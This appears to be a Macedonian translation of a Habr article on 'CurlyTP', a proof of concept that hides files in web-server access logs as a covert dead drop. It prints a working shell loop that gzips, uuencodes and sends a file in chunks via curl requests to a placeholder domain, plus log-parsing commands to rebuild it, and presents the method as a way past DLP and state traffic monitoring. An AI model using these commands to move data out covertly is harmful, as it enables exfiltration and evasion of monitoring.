Според дефиницијата на Википедија, мртвата капка е алатка за заговор која служи за размена на информации или некои предмети помеѓу луѓе кои користат тајна локација. Идејата е дека луѓето никогаш не се среќаваат - но тие сепак разменуваат информации за да ја одржат оперативната безбедност.

Скривалиштето не треба да привлекува внимание. Затоа, во офлајн светот тие често користат дискретни работи: лабава тула во ѕидот, книга за библиотека или вдлабнатина во дрво.

Постојат многу алатки за шифрирање и анонимизација на Интернет, но самиот факт на користење на овие алатки привлекува внимание. Покрај тоа, тие може да бидат блокирани на корпоративно или владино ниво. Што да се прави?

Инвеститорот Рајан Флоуерс предложи интересна опција - користете кој било веб-сервер како скривалиште. Ако размислите за тоа, што прави веб-серверот? Прима барања, издава датотеки и запишува дневници. И ги евидентира сите барања, дури и неточни!

Излегува дека секој веб-сервер ви овозможува да зачувате речиси секоја порака во дневникот. Цветовите се прашуваа како да го користат ова.

Тој ја нуди оваа опција:

1. Земете текстуална датотека (тајна порака) и пресметајте го хашот (md5sum).
2. Ние го шифрираме (gzip+uuecode).
3. Ние пишуваме во дневникот користејќи намерно неточно барање до серверот.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

За да прочитате датотека, треба да ги извршите овие операции во обратен редослед: дешифрирајте ја и отпакувајте ја датотеката, проверете го хашот (хашот може безбедно да се пренесе преку отворени канали).

Просторите се заменуваат со =+=за да нема празни места во адресата. Програмата, која авторот ја нарекува CurlyTP, користи кодирање base64, како прилози за е-пошта. Барањето е направено со клучен збор ?transfer?за да може примачот лесно да го најде во дневниците.

Што гледаме во дневниците во овој случај?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Како што веќе споменавме, за да добиете тајна порака, треба да ги извршите операциите во обратен редослед:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Процесот е лесен за автоматизирање. Md5sum се совпаѓа, а содржината на датотеката потврдува дека сè е правилно декодирано.

Методот е многу едноставен. „Поентата на оваа вежба е само да се докаже дека датотеките може да се пренесат преку невини мали веб-барања, и таа работи на кој било веб-сервер со дневници со обичен текст. Во суштина, секој веб-сервер е скривалиште!“, пишува Flowers.

Се разбира, методот работи само ако примачот има пристап до дневниците на серверот. Но, таков пристап е обезбеден, на пример, од многу хостери.

Како да го користите?

Рајан Флауерс вели дека не е експерт за информациска безбедност и нема да состави листа на можни употреби на CurlyTP. За него, тоа е само доказ за концептот дека познатите алатки што ги гледаме секојдневно може да се користат на неконвенционален начин.

Всушност, овој метод има голем број на предности во однос на другите „крие“ на серверот како Дигитален мртов пад или PirateBox: не бара посебна конфигурација на страната на серверот или некои посебни протоколи - и нема да предизвика сомнеж кај оние кои го следат сообраќајот. Малку е веројатно дека системот SORM или DLP ќе скенира URL-адреси за компресирани текстуални датотеки.

Ова е еден од начините за пренос на пораки преку услужни датотеки. Можете да се сетите како се пласираа некои напредни компании Работни места за програмери во заглавија на HTTP или во кодот на HTML страниците.

Идејата беше само веб-програмерите да го видат ова велигденско јајце, бидејќи нормален човек не би ги гледал заглавијата или HTML-кодот.

Извор: www.habr.com